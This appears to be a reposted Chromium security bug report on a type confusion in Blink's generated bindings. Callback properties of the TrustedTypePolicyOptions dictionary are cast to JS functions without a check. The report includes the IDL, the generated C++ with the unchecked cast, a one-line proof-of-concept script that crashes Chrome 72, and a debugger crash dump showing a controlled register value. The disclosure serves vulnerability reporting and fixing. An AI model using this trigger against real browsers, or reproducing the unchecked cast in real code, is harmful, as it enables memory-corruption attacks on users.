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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

VULNERABILITY DETAILS
The binding code generator doesn't add checks to ensure that the callback
properties of a dictionary are indeed JS functions. For example, for the
the TrustedTypePolicyOptions dictionary:
https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/trustedtypes/trusted_type_policy_options.idl?rcl=6c2e672967359ad32d19af8b09873adab2c0beec&l=7
-------------------
dictionary TrustedTypePolicyOptions {
   CreateHTMLCallback createHTML;
   CreateScriptCallback createScript;
   CreateURLCallback createScriptURL;
   CreateURLCallback createURL;
   boolean exposed = false;
};

callback CreateHTMLCallback = DOMString (DOMString input);
callback CreateScriptCallback = DOMString (DOMString input);
callback CreateURLCallback = USVString (DOMString input);
-------------------

the code is generated as follows:
https://cs.chromium.org/chromium/src/out/Debug/gen/third_party/blink/renderer/bindings/core/v8/v8_trusted_type_policy_options.cc?rcl=077f8deee2dee38d4836be1df20115eba4884f69&l=35
-------------------
void V8TrustedTypePolicyOptions::ToImpl(v8::Isolate* isolate, v8::Local<v8::Value> v8_value, TrustedTypePolicyOptions* impl, ExceptionState& exception_state) {
  if (IsUndefinedOrNull(v8_value)) {
    return;
  }
  if (!v8_value->IsObject()) {
    exception_state.ThrowTypeError("cannot convert to dictionary.");
    return;
  }
  v8::Local<v8::Object> v8Object = v8_value.As<v8::Object>();
  ALLOW_UNUSED_LOCAL(v8Object);

  const v8::Eternal<v8::Name>* keys = eternalV8TrustedTypePolicyOptionsKeys(isolate);
  v8::TryCatch block(isolate);
  v8::Local<v8::Context> context = isolate->GetCurrentContext();
  v8::Local<v8::Value> create_html_value;
  if (!v8Object->Get(context, keys[0].Get(isolate)).ToLocal(&create_html_value)) {
    exception_state.RethrowV8Exception(block.Exception());
    return;
  }
  if (create_html_value.IsEmpty() || create_html_value->IsUndefined()) {
    // Do nothing.
  } else {
    V8CreateHTMLCallback* create_html_cpp_value = V8CreateHTMLCallback::Create(create_html_value.As<v8::Function>()); //******* cast with no prior check
    impl->setCreateHTML(create_html_cpp_value);
  }               
[...]
-------------------

Thus, any JS object might be interpreted as a function.


VERSION
Google Chrome 72.0.3626.81 (Official Build) (64-bit) 
Please note that the TrustedTypes feature is currently hidden behind the
"experimental platform features" flag.


REPRODUCTION CASE
<script>
TrustedTypes.createPolicy('foo', { createHTML: 0x41414141 });
</script>


(790.b30): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
chrome_child!v8::internal::JSReceiver::GetCreationContext+0xa:
00007ffe`ba967f5a 488b41ff        mov     rax,qword ptr [rcx-1] ds:41414140`ffffffff=????????????????
0:000> r
rax=00001313b3350115 rbx=00006fc6d6eaf920 rcx=4141414100000000
rdx=000000e521dfd190 rsi=000000e521dfd190 rdi=000000e521dfd1d8
rip=00007ffeba967f5a rsp=000000e521dfd130 rbp=000000e521dfd290
 r8=00007ffebfb25930  r9=0000000000000018 r10=0000000000000005
r11=00003f2bc628c240 r12=000000e521dfd330 r13=000001e7dbd16650
r14=000001e7ddc22a90 r15=00003f2bc62364b8
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
chrome_child!v8::internal::JSReceiver::GetCreationContext+0xa:
00007ffe`ba967f5a 488b41ff        mov     rax,qword ptr [rcx-1] ds:41414140`ffffffff=????????????????
0:000> k
 # Child-SP          RetAddr           Call Site
00 000000e5`21dfd130 00007ffe`ba967f24 chrome_child!v8::internal::JSReceiver::GetCreationContext+0xa [C:\b\c\b\win64_clang\src\v8\src\objects.cc @ 4010] 
01 000000e5`21dfd170 00007ffe`bab1a1d7 chrome_child!v8::Object::CreationContext+0x24 [C:\b\c\b\win64_clang\src\v8\src\api.cc @ 4859] 
02 000000e5`21dfd1b0 00007ffe`bd196835 chrome_child!blink::CallbackFunctionBase::CallbackFunctionBase+0x47 [C:\b\c\b\win64_clang\src\third_party\blink\renderer\platform\bindings\callback_function_base.cc @ 13] 
03 000000e5`21dfd210 00007ffe`bd195101 chrome_child!blink::V8TrustedTypePolicyOptions::ToImpl+0x125 [C:\b\c\b\win64_clang\src\out\Release_x64\gen\third_party\blink\renderer\bindings\core\v8\v8_trusted_type_policy_options.cc @ 57] 
04 000000e5`21dfd2f0 00007ffe`ba957f93 chrome_child!blink::V8TrustedTypePolicyFactory::CreatePolicyMethodCallback+0x211 [C:\b\c\b\win64_clang\src\out\Release_x64\gen\third_party\blink\renderer\bindings\core\v8\v8_trusted_type_policy_factory.cc @ 234] 
05 000000e5`21dfd3c0 00007ffe`bbbebb9f chrome_child!v8::internal::FunctionCallbackArguments::Call+0x253 [C:\b\c\b\win64_clang\src\v8\src\api-arguments-inl.h @ 147] 
06 000000e5`21dfd4e0 00007ffe`bbbeb631 chrome_child!v8::internal::`anonymous namespace'::HandleApiCallHelper<0>+0x20f [C:\b\c\b\win64_clang\src\v8\src\builtins\builtins-api.cc @ 111] 
07 000000e5`21dfd5e0 00007ffe`ba957ca1 chrome_child!v8::internal::Builtin_Impl_HandleApiCall+0x111 [C:\b\c\b\win64_clang\src\v8\src\builtins\builtins-api.cc @ 0] 
08 000000e5`21dfd6a0 00007ffe`bc23cdcf chrome_child!v8::internal::Builtin_HandleApiCall+0x41 [C:\b\c\b\win64_clang\src\v8\src\builtins\builtins-api.cc @ 127] 
09 000000e5`21dfd700 00003921`bff1b0d1 chrome_child!Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit+0x4f